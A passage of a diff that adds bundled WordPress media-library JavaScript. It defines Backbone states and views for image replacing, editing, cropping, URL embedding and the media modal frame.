+	}, Library.prototype.defaults ),
+
+	/**
+	 * @since 3.9.0
+	 *
+	 * @param options
+	 */
+	initialize: function( options ) {
+		var library, comparator;
+
+		this.image = options.image;
+		// If we haven't been provided a `library`, create a `Selection`.
+		if ( ! this.get('library') ) {
+			this.set( 'library', wp.media.query({ type: 'image' }) );
+		}
+
+		Library.prototype.initialize.apply( this, arguments );
+
+		library    = this.get('library');
+		comparator = library.comparator;
+
+		// Overload the library's comparator to push items that are not in
+		// the mirrored query to the front of the aggregate collection.
+		library.comparator = function( a, b ) {
+			var aInQuery = !! this.mirroring.get( a.cid ),
+				bInQuery = !! this.mirroring.get( b.cid );
+
+			if ( ! aInQuery && bInQuery ) {
+				return -1;
+			} else if ( aInQuery && ! bInQuery ) {
+				return 1;
+			} else {
+				return comparator.apply( this, arguments );
+			}
+		};
+
+		// Add all items in the selection to the library, so any featured
+		// images that are not initially loaded still appear.
+		library.observe( this.get('selection') );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	activate: function() {
+		this.updateSelection();
+		Library.prototype.activate.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	updateSelection: function() {
+		var selection = this.get('selection'),
+			attachment = this.image.attachment;
+
+		selection.reset( attachment ? [ attachment ] : [] );
+	}
+});
+
+module.exports = ReplaceImage;
+
+
+/***/ }),
+/* 39 */
+/***/ (function(module, exports) {
+
+var l10n = wp.media.view.l10n,
+	EditImage;
+
+/**
+ * wp.media.controller.EditImage
+ *
+ * A state for editing (cropping, etc.) an image.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object}                    attributes                      The attributes hash passed to the state.
+ * @param {wp.media.model.Attachment} attributes.model                The attachment.
+ * @param {string}                    [attributes.id=edit-image]      Unique identifier.
+ * @param {string}                    [attributes.title=Edit Image]   Title for the state. Displays in the media menu and the frame's title region.
+ * @param {string}                    [attributes.content=edit-image] Initial mode for the content region.
+ * @param {string}                    [attributes.toolbar=edit-image] Initial mode for the toolbar region.
+ * @param {string}                    [attributes.menu=false]         Initial mode for the menu region.
+ * @param {string}                    [attributes.url]                Unused. @todo Consider removal.
+ */
+EditImage = wp.media.controller.State.extend(/** @lends wp.media.controller.EditImage.prototype */{
+	defaults: {
+		id:      'edit-image',
+		title:   l10n.editImage,
+		menu:    false,
+		toolbar: 'edit-image',
+		content: 'edit-image',
+		url:     ''
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	activate: function() {
+		this.frame.on( 'toolbar:render:edit-image', _.bind( this.toolbar, this ) );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	deactivate: function() {
+		this.frame.off( 'toolbar:render:edit-image' );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	toolbar: function() {
+		var frame = this.frame,
+			lastState = frame.lastState(),
+			previous = lastState && lastState.id;
+
+		frame.toolbar.set( new wp.media.view.Toolbar({
+			controller: frame,
+			items: {
+				back: {
+					style: 'primary',
+					text:     l10n.back,
+					priority: 20,
+					click:    function() {
+						if ( previous ) {
+							frame.setState( previous );
+						} else {
+							frame.close();
+						}
+					}
+				}
+			}
+		}) );
+	}
+});
+
+module.exports = EditImage;
+
+
+/***/ }),
+/* 40 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.controller.MediaLibrary
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.Library
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ */
+var Library = wp.media.controller.Library,
+	MediaLibrary;
+
+MediaLibrary = Library.extend(/** @lends wp.media.controller.MediaLibrary.prototype */{
+	defaults: _.defaults({
+		// Attachments browser defaults. @see media.view.AttachmentsBrowser
+		filterable:      'uploaded',
+
+		displaySettings: false,
+		priority:        80,
+		syncSelection:   false
+	}, Library.prototype.defaults ),
+
+	/**
+	 * @since 3.9.0
+	 *
+	 * @param options
+	 */
+	initialize: function( options ) {
+		this.media = options.media;
+		this.type = options.type;
+		this.set( 'library', wp.media.query({ type: this.type }) );
+
+		Library.prototype.initialize.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	activate: function() {
+		// @todo this should use this.frame.
+		if ( wp.media.frame.lastMime ) {
+			this.set( 'library', wp.media.query({ type: wp.media.frame.lastMime }) );
+			delete wp.media.frame.lastMime;
+		}
+		Library.prototype.activate.apply( this, arguments );
+	}
+});
+
+module.exports = MediaLibrary;
+
+
+/***/ }),
+/* 41 */
+/***/ (function(module, exports) {
+
+var l10n = wp.media.view.l10n,
+	$ = Backbone.$,
+	Embed;
+
+/**
+ * wp.media.controller.Embed
+ *
+ * A state for embedding media from a URL.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object} attributes                         The attributes hash passed to the state.
+ * @param {string} [attributes.id=embed]              Unique identifier.
+ * @param {string} [attributes.title=Insert From URL] Title for the state. Displays in the media menu and the frame's title region.
+ * @param {string} [attributes.content=embed]         Initial mode for the content region.
+ * @param {string} [attributes.menu=default]          Initial mode for the menu region.
+ * @param {string} [attributes.toolbar=main-embed]    Initial mode for the toolbar region.
+ * @param {string} [attributes.menu=false]            Initial mode for the menu region.
+ * @param {int}    [attributes.priority=120]          The priority for the state link in the media menu.
+ * @param {string} [attributes.type=link]             The type of embed. Currently only link is supported.
+ * @param {string} [attributes.url]                   The embed URL.
+ * @param {object} [attributes.metadata={}]           Properties of the embed, which will override attributes.url if set.
+ */
+Embed = wp.media.controller.State.extend(/** @lends wp.media.controller.Embed.prototype */{
+	defaults: {
+		id:       'embed',
+		title:    l10n.insertFromUrlTitle,
+		content:  'embed',
+		menu:     'default',
+		toolbar:  'main-embed',
+		priority: 120,
+		type:     'link',
+		url:      '',
+		metadata: {}
+	},
+
+	// The amount of time used when debouncing the scan.
+	sensitivity: 400,
+
+	initialize: function(options) {
+		this.metadata = options.metadata;
+		this.debouncedScan = _.debounce( _.bind( this.scan, this ), this.sensitivity );
+		this.props = new Backbone.Model( this.metadata || { url: '' });
+		this.props.on( 'change:url', this.debouncedScan, this );
+		this.props.on( 'change:url', this.refresh, this );
+		this.on( 'scan', this.scanImage, this );
+	},
+
+	/**
+	 * Trigger a scan of the embedded URL's content for metadata required to embed.
+	 *
+	 * @fires wp.media.controller.Embed#scan
+	 */
+	scan: function() {
+		var scanners,
+			embed = this,
+			attributes = {
+				type: 'link',
+				scanners: []
+			};
+
+		// Scan is triggered with the list of `attributes` to set on the
+		// state, useful for the 'type' attribute and 'scanners' attribute,
+		// an array of promise objects for asynchronous scan operations.
+		if ( this.props.get('url') ) {
+			this.trigger( 'scan', attributes );
+		}
+
+		if ( attributes.scanners.length ) {
+			scanners = attributes.scanners = $.when.apply( $, attributes.scanners );
+			scanners.always( function() {
+				if ( embed.get('scanners') === scanners ) {
+					embed.set( 'loading', false );
+				}
+			});
+		} else {
+			attributes.scanners = null;
+		}
+
+		attributes.loading = !! attributes.scanners;
+		this.set( attributes );
+	},
+	/**
+	 * Try scanning the embed as an image to discover its dimensions.
+	 *
+	 * @param {Object} attributes
+	 */
+	scanImage: function( attributes ) {
+		var frame = this.frame,
+			state = this,
+			url = this.props.get('url'),
+			image = new Image(),
+			deferred = $.Deferred();
+
+		attributes.scanners.push( deferred.promise() );
+
+		// Try to load the image and find its width/height.
+		image.onload = function() {
+			deferred.resolve();
+
+			if ( state !== frame.state() || url !== state.props.get('url') ) {
+				return;
+			}
+
+			state.set({
+				type: 'image'
+			});
+
+			state.props.set({
+				width:  image.width,
+				height: image.height
+			});
+		};
+
+		image.onerror = deferred.reject;
+		image.src = url;
+	},
+
+	refresh: function() {
+		this.frame.toolbar.get().refresh();
+	},
+
+	reset: function() {
+		this.props.clear().set({ url: '' });
+
+		if ( this.active ) {
+			this.refresh();
+		}
+	}
+});
+
+module.exports = Embed;
+
+
+/***/ }),
+/* 42 */
+/***/ (function(module, exports) {
+
+var l10n = wp.media.view.l10n,
+	Cropper;
+
+/**
+ * wp.media.controller.Cropper
+ *
+ * A state for cropping an image.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ */
+Cropper = wp.media.controller.State.extend(/** @lends wp.media.controller.Cropper.prototype */{
+	defaults: {
+		id:          'cropper',
+		title:       l10n.cropImage,
+		// Region mode defaults.
+		toolbar:     'crop',
+		content:     'crop',
+		router:      false,
+		canSkipCrop: false,
+
+		// Default doCrop Ajax arguments to allow the Customizer (for example) to inject state.
+		doCropArgs: {}
+	},
+
+	activate: function() {
+		this.frame.on( 'content:create:crop', this.createCropContent, this );
+		this.frame.on( 'close', this.removeCropper, this );
+		this.set('selection', new Backbone.Collection(this.frame._selection.single));
+	},
+
+	deactivate: function() {
+		this.frame.toolbar.mode('browse');
+	},
+
+	createCropContent: function() {
+		this.cropperView = new wp.media.view.Cropper({
+			controller: this,
+			attachment: this.get('selection').first()
+		});
+		this.cropperView.on('image-loaded', this.createCropToolbar, this);
+		this.frame.content.set(this.cropperView);
+
+	},
+	removeCropper: function() {
+		this.imgSelect.cancelSelection();
+		this.imgSelect.setOptions({remove: true});
+		this.imgSelect.update();
+		this.cropperView.remove();
+	},
+	createCropToolbar: function() {
+		var canSkipCrop, toolbarOptions;
+
+		canSkipCrop = this.get('canSkipCrop') || false;
+
+		toolbarOptions = {
+			controller: this.frame,
+			items: {
+				insert: {
+					style:    'primary',
+					text:     l10n.cropImage,
+					priority: 80,
+					requires: { library: false, selection: false },
+
+					click: function() {
+						var controller = this.controller,
+							selection;
+
+						selection = controller.state().get('selection').first();
+						selection.set({cropDetails: controller.state().imgSelect.getSelection()});
+
+						this.$el.text(l10n.cropping);
+						this.$el.attr('disabled', true);
+
+						controller.state().doCrop( selection ).done( function( croppedImage ) {
+							controller.trigger('cropped', croppedImage );
+							controller.close();
+						}).fail( function() {
+							controller.trigger('content:error:crop');
+						});
+					}
+				}
+			}
+		};
+
+		if ( canSkipCrop ) {
+			_.extend( toolbarOptions.items, {
+				skip: {
+					style:      'secondary',
+					text:       l10n.skipCropping,
+					priority:   70,
+					requires:   { library: false, selection: false },
+					click:      function() {
+						var selection = this.controller.state().get('selection').first();
+						this.controller.state().cropperView.remove();
+						this.controller.trigger('skippedcrop', selection);
+						this.controller.close();
+					}
+				}
+			});
+		}
+
+		this.frame.toolbar.set( new wp.media.view.Toolbar(toolbarOptions) );
+	},
+
+	doCrop: function( attachment ) {
+		return wp.ajax.post( 'custom-header-crop', _.extend(
+			{},
+			this.defaults.doCropArgs,
+			{
+				nonce: attachment.get( 'nonces' ).edit,
+				id: attachment.get( 'id' ),
+				cropDetails: attachment.get( 'cropDetails' )
+			}
+		) );
+	}
+});
+
+module.exports = Cropper;
+
+
+/***/ }),
+/* 43 */
+/***/ (function(module, exports) {
+
+var Controller = wp.media.controller,
+	CustomizeImageCropper;
+
+/**
+ * wp.media.controller.CustomizeImageCropper
+ *
+ * @memberOf wp.media.controller
+ *
+ * A state for cropping an image.
+ *
+ * @class
+ * @augments wp.media.controller.Cropper
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ */
+CustomizeImageCropper = Controller.Cropper.extend(/** @lends wp.media.controller.CustomizeImageCropper.prototype */{
+	doCrop: function( attachment ) {
+		var cropDetails = attachment.get( 'cropDetails' ),
+			control = this.get( 'control' ),
+			ratio = cropDetails.width / cropDetails.height;
+
+		// Use crop measurements when flexible in both directions.
+		if ( control.params.flex_width && control.params.flex_height ) {
+			cropDetails.dst_width  = cropDetails.width;
+			cropDetails.dst_height = cropDetails.height;
+
+		// Constrain flexible side based on image ratio and size of the fixed side.
+		} else {
+			cropDetails.dst_width  = control.params.flex_width  ? control.params.height * ratio : control.params.width;
+			cropDetails.dst_height = control.params.flex_height ? control.params.width  / ratio : control.params.height;
+		}
+
+		return wp.ajax.post( 'crop-image', {
+			wp_customize: 'on',
+			nonce: attachment.get( 'nonces' ).edit,
+			id: attachment.get( 'id' ),
+			context: control.id,
+			cropDetails: cropDetails
+		} );
+	}
+});
+
+module.exports = CustomizeImageCropper;
+
+
+/***/ }),
+/* 44 */
+/***/ (function(module, exports) {
+
+var Controller = wp.media.controller,
+	SiteIconCropper;
+
+/**
+ * wp.media.controller.SiteIconCropper
+ *
+ * A state for cropping a Site Icon.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.Cropper
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ */
+SiteIconCropper = Controller.Cropper.extend(/** @lends wp.media.controller.SiteIconCropper.prototype */{
+	activate: function() {
+		this.frame.on( 'content:create:crop', this.createCropContent, this );
+		this.frame.on( 'close', this.removeCropper, this );
+		this.set('selection', new Backbone.Collection(this.frame._selection.single));
+	},
+
+	createCropContent: function() {
+		this.cropperView = new wp.media.view.SiteIconCropper({
+			controller: this,
+			attachment: this.get('selection').first()
+		});
+		this.cropperView.on('image-loaded', this.createCropToolbar, this);
+		this.frame.content.set(this.cropperView);
+
+	},
+
+	doCrop: function( attachment ) {
+		var cropDetails = attachment.get( 'cropDetails' ),
+			control = this.get( 'control' );
+
+		cropDetails.dst_width  = control.params.width;
+		cropDetails.dst_height = control.params.height;
+
+		return wp.ajax.post( 'crop-image', {
+			nonce: attachment.get( 'nonces' ).edit,
+			id: attachment.get( 'id' ),
+			context: 'site-icon',
+			cropDetails: cropDetails
+		} );
+	}
+});
+
+module.exports = SiteIconCropper;
+
+
+/***/ }),
+/* 45 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.View
+ *
+ * The base view class for media.
+ *
+ * Undelegating events, removing events from the model, and
+ * removing events from the controller mirror the code for
+ * `Backbone.View.dispose` in Backbone 0.9.8 development.
+ *
+ * This behavior has since been removed, and should not be used
+ * outside of the media manager.
+ *
+ * @memberOf wp.media
+ *
+ * @class
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var View = wp.Backbone.View.extend(/** @lends wp.media.View.prototype */{
+	constructor: function( options ) {
+		if ( options && options.controller ) {
+			this.controller = options.controller;
+		}
+		wp.Backbone.View.apply( this, arguments );
+	},
+	/**
+	 * @todo The internal comment mentions this might have been a stop-gap
+	 *       before Backbone 0.9.8 came out. Figure out if Backbone core takes
+	 *       care of this in Backbone.View now.
+	 *
+	 * @returns {wp.media.View} Returns itself to allow chaining
+	 */
+	dispose: function() {
+		// Undelegating events, removing events from the model, and
+		// removing events from the controller mirror the code for
+		// `Backbone.View.dispose` in Backbone 0.9.8 development.
+		this.undelegateEvents();
+
+		if ( this.model && this.model.off ) {
+			this.model.off( null, null, this );
+		}
+
+		if ( this.collection && this.collection.off ) {
+			this.collection.off( null, null, this );
+		}
+
+		// Unbind controller events.
+		if ( this.controller && this.controller.off ) {
+			this.controller.off( null, null, this );
+		}
+
+		return this;
+	},
+	/**
+	 * @returns {wp.media.View} Returns itself to allow chaining
+	 */
+	remove: function() {
+		this.dispose();
+		/**
+		 * call 'remove' directly on the parent class
+		 */
+		return wp.Backbone.View.prototype.remove.apply( this, arguments );
+	}
+});
+
+module.exports = View;
+
+
+/***/ }),
+/* 46 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.Frame
+ *
+ * A frame is a composite view consisting of one or more regions and one or more
+ * states.
+ *
+ * @memberOf wp.media.view
+ *
+ * @see wp.media.controller.State
+ * @see wp.media.controller.Region
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+var Frame = wp.media.View.extend(/** @lends wp.media.view.Frame.prototype */{
+	initialize: function() {
+		_.defaults( this.options, {
+			mode: [ 'select' ]
+		});
+		this._createRegions();
+		this._createStates();
+		this._createModes();
+	},
+
+	_createRegions: function() {
+		// Clone the regions array.
+		this.regions = this.regions ? this.regions.slice() : [];
+
+		// Initialize regions.
+		_.each( this.regions, function( region ) {
+			this[ region ] = new wp.media.controller.Region({
+				view:     this,
+				id:       region,
+				selector: '.media-frame-' + region
+			});
+		}, this );
+	},
+	/**
+	 * Create the frame's states.
+	 *
+	 * @see wp.media.controller.State
+	 * @see wp.media.controller.StateMachine
+	 *
+	 * @fires wp.media.controller.State#ready
+	 */
+	_createStates: function() {
+		// Create the default `states` collection.
+		this.states = new Backbone.Collection( null, {
+			model: wp.media.controller.State
+		});
+
+		// Ensure states have a reference to the frame.
+		this.states.on( 'add', function( model ) {
+			model.frame = this;
+			model.trigger('ready');
+		}, this );
+
+		if ( this.options.states ) {
+			this.states.add( this.options.states );
+		}
+	},
+
+	/**
+	 * A frame can be in a mode or multiple modes at one time.
+	 *
+	 * For example, the manage media frame can be in the `Bulk Select` or `Edit` mode.
+	 */
+	_createModes: function() {
+		// Store active "modes" that the frame is in. Unrelated to region modes.
+		this.activeModes = new Backbone.Collection();
+		this.activeModes.on( 'add remove reset', _.bind( this.triggerModeEvents, this ) );
+
+		_.each( this.options.mode, function( mode ) {
+			this.activateMode( mode );
+		}, this );
+	},
+	/**
+	 * Reset all states on the frame to their defaults.
+	 *
+	 * @returns {wp.media.view.Frame} Returns itself to allow chaining
+	 */
+	reset: function() {
+		this.states.invoke( 'trigger', 'reset' );
+		return this;
+	},
+	/**
+	 * Map activeMode collection events to the frame.
+	 */
+	triggerModeEvents: function( model, collection, options ) {
+		var collectionEvent,
+			modeEventMap = {
+				add: 'activate',
+				remove: 'deactivate'
+			},
+			eventToTrigger;
+		// Probably a better way to do this.
+		_.each( options, function( value, key ) {
+			if ( value ) {
+				collectionEvent = key;
+			}
+		} );
+
+		if ( ! _.has( modeEventMap, collectionEvent ) ) {
+			return;
+		}
+
+		eventToTrigger = model.get('id') + ':' + modeEventMap[collectionEvent];
+		this.trigger( eventToTrigger );
+	},
+	/**
+	 * Activate a mode on the frame.
+	 *
+	 * @param string mode Mode ID.
+	 * @returns {this} Returns itself to allow chaining.
+	 */
+	activateMode: function( mode ) {
+		// Bail if the mode is already active.
+		if ( this.isModeActive( mode ) ) {
+			return;
+		}
+		this.activeModes.add( [ { id: mode } ] );
+		// Add a CSS class to the frame so elements can be styled for the mode.
+		this.$el.addClass( 'mode-' + mode );
+
+		return this;
+	},
+	/**
+	 * Deactivate a mode on the frame.
+	 *
+	 * @param string mode Mode ID.
+	 * @returns {this} Returns itself to allow chaining.
+	 */
+	deactivateMode: function( mode ) {
+		// Bail if the mode isn't active.
+		if ( ! this.isModeActive( mode ) ) {
+			return this;
+		}
+		this.activeModes.remove( this.activeModes.where( { id: mode } ) );
+		this.$el.removeClass( 'mode-' + mode );
+		/**
+		 * Frame mode deactivation event.
+		 *
+		 * @event wp.media.view.Frame#{mode}:deactivate
+		 */
+		this.trigger( mode + ':deactivate' );
+
+		return this;
+	},
+	/**
+	 * Check if a mode is enabled on the frame.
+	 *
+	 * @param  string mode Mode ID.
+	 * @return bool
+	 */
+	isModeActive: function( mode ) {
+		return Boolean( this.activeModes.where( { id: mode } ).length );
+	}
+});
+
+// Make the `Frame` a `StateMachine`.
+_.extend( Frame.prototype, wp.media.controller.StateMachine.prototype );
+
+module.exports = Frame;
+
+
+/***/ }),
+/* 47 */
+/***/ (function(module, exports) {
+
+var Frame = wp.media.view.Frame,
+	$ = jQuery,
+	MediaFrame;
+
+/**
+ * wp.media.view.MediaFrame
+ *
+ * The frame used to create the media modal.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+MediaFrame = Frame.extend(/** @lends wp.media.view.MediaFrame.prototype */{
+	className: 'media-frame',
+	template:  wp.template('media-frame'),
+	regions:   ['menu','title','content','toolbar','router'],
+
+	events: {
+		'click div.media-frame-title h1': 'toggleMenu'
+	},
+
+	/**
+	 * @constructs
+	 */
+	initialize: function() {
+		Frame.prototype.initialize.apply( this, arguments );
+
+		_.defaults( this.options, {
+			title:    '',
+			modal:    true,
+			uploader: true
+		});
+
+		// Ensure core UI is enabled.
+		this.$el.addClass('wp-core-ui');
+
+		// Initialize modal container view.
+		if ( this.options.modal ) {
+			this.modal = new wp.media.view.Modal({
+				controller: this,
+				title:      this.options.title
+			});
+
+			this.modal.content( this );
+		}
+
+		// Force the uploader off if the upload limit has been exceeded or
+		// if the browser isn't supported.
+		if ( wp.Uploader.limitExceeded || ! wp.Uploader.browser.supported ) {
+			this.options.uploader = false;
+		}
+
+		// Initialize window-wide uploader.
+		if ( this.options.uploader ) {
+			this.uploader = new wp.media.view.UploaderWindow({
+				controller: this,
+				uploader: {
+					dropzone:  this.modal ? this.modal.$el : this.$el,
+					container: this.$el
+				}
+			});
+			this.views.set( '.media-frame-uploader', this.uploader );
+		}
+
+		this.on( 'attach', _.bind( this.views.ready, this.views ), this );
+
+		// Bind default title creation.
+		this.on( 'title:create:default', this.createTitle, this );
+		this.title.mode('default');
+
+		this.on( 'title:render', function( view ) {
+			view.$el.append( '<span class="dashicons dashicons-arrow-down"></span>' );
+		});
+
+		// Bind default menu.
+		this.on( 'menu:create:default', this.createMenu, this );
+	},
+	/**
+	 * @returns {wp.media.view.MediaFrame} Returns itself to allow chaining
+	 */
+	render: function() {
+		// Activate the default state if no active state exists.
+		if ( ! this.state() && this.options.state ) {
+			this.setState( this.options.state );
+		}
+		/**
+		 * call 'render' directly on the parent class
+		 */
+		return Frame.prototype.render.apply( this, arguments );
+	},
+	/**
+	 * @param {Object} title
+	 * @this wp.media.controller.Region
+	 */
+	createTitle: function( title ) {
+		title.view = new wp.media.View({
+			controller: this,
+			tagName: 'h1'
+		});
+	},
+	/**
+	 * @param {Object} menu
+	 * @this wp.media.controller.Region
+	 */
+	createMenu: function( menu ) {
+		menu.view = new wp.media.view.Menu({
+			controller: this
+		});
+	},
+
+	toggleMenu: function() {
+		this.$el.find( '.media-menu' ).toggleClass( 'visible' );
+	},
+
+	/**
+	 * @param {Object} toolbar
+	 * @this wp.media.controller.Region
+	 */
+	createToolbar: function( toolbar ) {
+		toolbar.view = new wp.media.view.Toolbar({
+			controller: this
+		});
+	},
+	/**
+	 * @param {Object} router
+	 * @this wp.media.controller.Region
+	 */
+	createRouter: function( router ) {
+		router.view = new wp.media.view.Router({
+			controller: this
+		});
+	},
+	/**
+	 * @param {Object} options
+	 */
+	createIframeStates: function( options ) {
+		var settings = wp.media.view.settings,
+			tabs = settings.tabs,
+			tabUrl = settings.tabUrl,
+			$postId;
+
+		if ( ! tabs || ! tabUrl ) {
+			return;
+		}
+
+		// Add the post ID to the tab URL if it exists.
+		$postId = $('#post_ID');
+		if ( $postId.length ) {
+			tabUrl += '&post_id=' + $postId.val();
+		}
+
+		// Generate the tab states.
+		_.each( tabs, function( title, id ) {
+			this.state( 'iframe:' + id ).set( _.defaults({
+				tab:     id,
+				src:     tabUrl + '&tab=' + id,
+				title:   title,
+				content: 'iframe',
+				menu:    'default'
+			}, options ) );
+		}, this );
+
+		this.on( 'content:create:iframe', this.iframeContent, this );
+		this.on( 'content:deactivate:iframe', this.iframeContentCleanup, this );
+		this.on( 'menu:render:default', this.iframeMenu, this );
+		this.on( 'open', this.hijackThickbox, this );
+		this.on( 'close', this.restoreThickbox, this );
+	},
+
+	/**
+	 * @param {Object} content
+	 * @this wp.media.controller.Region
+	 */
+	iframeContent: function( content ) {
+		this.$el.addClass('hide-toolbar');
+		content.view = new wp.media.view.Iframe({
+			controller: this
+		});
+	},
+
+	iframeContentCleanup: function() {
+		this.$el.removeClass('hide-toolbar');
+	},
+
+	iframeMenu: function( view ) {
+		var views = {};
+
+		if ( ! view ) {
+			return;
+		}
+
+		_.each( wp.media.view.settings.tabs, function( title, id ) {
+			views[ 'iframe:' + id ] = {
+				text: this.state( 'iframe:' + id ).get('title'),
+				priority: 200
+			};
+		}, this );
+
+		view.set( views );
+	},
+
+	hijackThickbox: function() {
+		var frame = this;
+
+		if ( ! window.tb_remove || this._tb_remove ) {
+			return;
+		}
+
+		this._tb_remove = window.tb_remove;
+		window.tb_remove = function() {
+			frame.close();
+			frame.reset();
+			frame.setState( frame.options.state );
+			frame._tb_remove.call( window );
+		};
+	},
+
+	restoreThickbox: function() {
+		if ( ! this._tb_remove ) {
+			return;
+		}
+
+		window.tb_remove = this._tb_remove;
+		delete this._tb_remove;
+	}
+});
+
+// Map some of the modal's methods to the frame.
+_.each(['open','close','attach','detach','escape'], function( method ) {
+	/**
+	 * @function open
+	 * @memberOf wp.media.view.MediaFrame
+	 * @instance
+	 *
+	 * @returns {wp.media.view.MediaFrame} Returns itself to allow chaining
+	 */
+	/**
+	 * @function close
+	 * @memberOf wp.media.view.MediaFrame
+	 * @instance
+	 *
+	 * @returns {wp.media.view.MediaFrame} Returns itself to allow chaining
+	 */
+	/**
+	 * @function attach
+	 * @memberOf wp.media.view.MediaFrame
+	 * @instance
+	 *
+	 * @returns {wp.media.view.MediaFrame} Returns itself to allow chaining
+	 */
+	/**
+	 * @function detach
+	 * @memberOf wp.media.view.MediaFrame
+	 * @instance
+	 *
+	 * @returns {wp.media.view.MediaFrame} Returns itself to allow chaining
+	 */
+	/**
+	 * @function escape
+	 * @memberOf wp.media.view.MediaFrame
+	 * @instance
+	 *
+	 * @returns {wp.media.view.MediaFrame} Returns itself to allow chaining
+	 */
+	MediaFrame.prototype[ method ] = function() {
+		if ( this.modal ) {
+			this.modal[ method ].apply( this.modal, arguments );
+		}
+		return this;
+	};
+});
+
+module.exports = MediaFrame;
+
+
+/***/ }),
+/* 48 */
+/***/ (function(module, exports) {
+
+var MediaFrame = wp.media.view.MediaFrame,
+	l10n = wp.media.view.l10n,
+	Select;
+
+/**
+ * wp.media.view.MediaFrame.Select
+ *
+ * A frame for selecting an item or items from the media library.
+ *
+ * @memberOf wp.media.view.MediaFrame
+ *
+ * @class
+ * @augments wp.media.view.MediaFrame
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+Select = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.Select.prototype */{
+	initialize: function() {
+		// Call 'initialize' directly on the parent class.
+		MediaFrame.prototype.initialize.apply( this, arguments );
+
+		_.defaults( this.options, {
+			selection: [],
+			library:   {},
+			multiple:  false,
+			state:    'library'
+		});
+
+		this.createSelection();
+		this.createStates();
+		this.bindHandlers();
+	},
+
+	/**
+	 * Attach a selection collection to the frame.
+	 *
+	 * A selection is a collection of attachments used for a specific purpose
+	 * by a media frame. e.g. Selecting an attachment (or many) to insert into
+	 * post content.
+	 *
+	 * @see media.model.Selection
+	 */
+	createSelection: function() {
+		var selection = this.options.selection;
+
+		if ( ! (selection instanceof wp.media.model.Selection) ) {
+			this.options.selection = new wp.media.model.Selection( selection, {
+				multiple: this.options.multiple
+			});
+		}
+
+		this._selection = {
+			attachments: new wp.media.model.Attachments(),
+			difference: []
+		};
+	},
+
+	/**
+	 * Create the default states on the frame.
+	 */
+	createStates: function() {
+		var options = this.options;
+
+		if ( this.options.states ) {
+			return;
+		}
+
+		// Add the default states.
+		this.states.add([
+			// Main states.
+			new wp.media.controller.Library({
+				library:   wp.media.query( options.library ),
+				multiple:  options.multiple,
+				title:     options.title,
+				priority:  20
+			})
+		]);
+	},
+
+	/**
+	 * Bind region mode event callbacks.
+	 *
+	 * @see media.controller.Region.render
+	 */
+	bindHandlers: function() {
+		this.on( 'router:create:browse', this.createRouter, this );
+		this.on( 'router:render:browse', this.browseRouter, this );
+		this.on( 'content:create:browse', this.browseContent, this );
+		this.on( 'content:render:upload', this.uploadContent, this );
+		this.on( 'toolbar:create:select', this.createSelectToolbar, this );
+	},
+
+	/**
+	 * Render callback for the router region in the `browse` mode.
+	 *
+	 * @param {wp.media.view.Router} routerView
+	 */
+	browseRouter: function( routerView ) {
+		routerView.set({
+			upload: {
+				text:     l10n.uploadFilesTitle,
+				priority: 20
+			},
+			browse: {
+				text:     l10n.mediaLibraryTitle,
+				priority: 40
+			}
+		});
+	},
+
+	/**
+	 * Render callback for the content region in the `browse` mode.
+	 *
+	 * @param {wp.media.controller.Region} contentRegion
+	 */
+	browseContent: function( contentRegion ) {
+		var state = this.state();
+
+		this.$el.removeClass('hide-toolbar');
+
+		// Browse our library of attachments.
+		contentRegion.view = new wp.media.view.AttachmentsBrowser({
+			controller: this,
+			collection: state.get('library'),
+			selection:  state.get('selection'),
+			model:      state,
+			sortable:   state.get('sortable'),
+			search:     state.get('searchable'),
+			filters:    state.get('filterable'),
+			date:       state.get('date'),
+			display:    state.has('display') ? state.get('display') : state.get('displaySettings'),
+			dragInfo:   state.get('dragInfo'),
+
+			idealColumnWidth: state.get('idealColumnWidth'),
+			suggestedWidth:   state.get('suggestedWidth'),
+			suggestedHeight:  state.get('suggestedHeight'),
+
+			AttachmentView: state.get('AttachmentView')
+		});
+	},
+
+	/**
+	 * Render callback for the content region in the `upload` mode.
+	 */
+	uploadContent: function() {
+		this.$el.removeClass( 'hide-toolbar' );
+		this.content.set( new wp.media.view.UploaderInline({
+			controller: this
+		}) );
+	},
+
+	/**
+	 * Toolbars
+	 *
+	 * @param {Object} toolbar
+	 * @param {Object} [options={}]
+	 * @this wp.media.controller.Region
+	 */
+	createSelectToolbar: function( toolbar, options ) {
+		options = options || this.options.button || {};
+		options.controller = this;
+
+		toolbar.view = new wp.media.view.Toolbar.Select( options );
+	}
+});
+
+module.exports = Select;
+
+
+/***/ }),
+/* 49 */
+/***/ (function(module, exports) {
+
+var Select = wp.media.view.MediaFrame.Select,
+	Library = wp.media.controller.Library,
+	l10n = wp.media.view.l10n,
+	Post;
+
+/**
